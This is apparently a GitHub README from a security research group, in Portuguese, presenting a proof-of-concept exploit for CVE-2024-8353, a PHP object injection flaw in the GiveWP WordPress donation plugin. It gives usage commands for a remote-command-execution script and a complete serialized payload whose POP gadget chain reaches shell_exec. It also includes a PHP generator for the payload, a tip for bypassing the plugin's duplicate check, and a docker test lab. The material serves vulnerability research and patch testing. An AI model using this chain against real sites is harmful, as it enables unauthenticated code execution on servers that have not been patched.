eqstlab/cve-2024-8353Exploit de Injeção de Objeto PHP no GiveWP
Este post é um artigo de pesquisa publicado por EQSTLab. Agradecimentos a cuokon, que descobriu esta vulnerabilidade.
Análise adicional do CVE-2024-5932 EQST Insight R&T (arquivo PDF).
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 Remoção Arbitrária de Arquivos e PoC de RCE ★
CVE-2024-8353 : Vulnerabilidade de Injeção de Objeto PHP no GiveWP
descrição: O givewp – plugin de doação e plataforma de arrecadação de fundos para WordPress é vulnerável à injeção de objeto PHP em todas as versões até a 3.16.1 inclusive, através da desserialização de entrada não confiável por meio de vários parâmetros como give_title e card_address. Isso possibilita que atacantes não autenticados injetem um objeto PHP. A presença adicional de uma cadeia POP permite que atacantes excluam arquivos arbitrários e realizem execução remota de código. Esta é essencialmente a mesma vulnerabilidade que o CVE-2024-5932, no entanto, foi descoberto que a presença de stripslashes_deep em user_info permite contornar a verificação is_serialized. Esse problema foi amplamente corrigido na versão 3.16.1, mas medidas adicionais de segurança foram adicionadas na 3.16.2.
⚠️Ao usar o PoC, você só pode usar o mesmo comando uma vez, pois “give_title” é armazenado no banco de dados e verificado quanto a duplicatas. Nesse caso, você pode usar alguns truques do Linux, especialmente aspas. Por exemplo, se você usar “echo”, pode reutilizá-lo digitando algo como “e‘’cho”.
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py
services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.16.0.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins
Você pode depurar seu GiveWP usando PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..E então você pode depurar seu WordPress.
Essencialmente, a sequência é a mesma do CVE-2024-5932, com a diferença de que a lógica “is_serialized” também é adicionada ao parâmetro “give_title”. O método determina que, se não houver sinal : (dois pontos) no índice 1, os dados não estão serializados.
Após o método “is_serialized”, a função “stripslashes_deep” remove as barras invertidas. Assim, a barra invertida inicial () é removida e os dados serializados são passados.
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Return command string)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
A cadeia POP permite execução remota de comandos.
Este repositório não tem a intenção de ser um exploit de injeção de objeto para o CVE-2024-8353. O objetivo deste projeto é ajudar as pessoas a aprender sobre esta vulnerabilidade e, talvez, testar suas próprias aplicações.
Publicamos análises de CVE e malware uma vez por mês. Se você estiver interessado, siga os links abaixo para conferir nossas publicações. https://www.skshieldus.com/eng/business/insight.do